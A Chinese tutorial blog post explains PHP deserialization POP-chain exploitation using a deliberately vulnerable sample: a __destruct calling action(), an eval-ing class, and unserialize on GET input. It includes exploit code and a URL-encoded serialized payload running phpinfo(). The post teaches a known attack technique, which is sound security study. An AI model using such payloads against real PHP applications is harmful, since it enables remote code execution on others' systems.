pop链 php,php反序列化pop链的构造

通常反序列化的攻击是在魔术方法中出现一些可利用的漏洞,通过自动调用来触发漏洞。

但是如果关键代码不在魔术方法中,而是在一个类的普通方法中。这个时候我们可以通过寻找相同的函数名将类的属性和敏感函数联系起来

借用网上的代码:<?php

class lemon {

protected $ClassObj;

function __construct() {

$this->ClassObj = new normal();

}

function __destruct() {

$this->ClassObj->action();

}

}

class normal {

function action() {

echo "hello";

}

}

class evil {

private $data;

function action() {

eval($this->data);

}

}

unserialize($_GET['d']);

其中类normal 和 evil同时拥有action方法,并且evil中的方法是可控的,我们可以通过反序列化来掉用evil类中的action方法

exp:<?php

class lemon {

protected $ClassObj;

function __construct() {

$this->ClassObj = new evil();

}

function __destruct() {

$this->ClassObj->action();

}

}

class normal {

function action() {

echo "hello";

}

}

class evil {

private $data = "phpinfo();";

function action() {

eval($this->data);

}

}

$a = new lemon();

echo urlencode(serialize($a));

会生成这样一段payloadO%3A5%3A%22lemon%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D

用get方式传入

5dddea04a704d.jpg

可以看到成功进行了利用

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值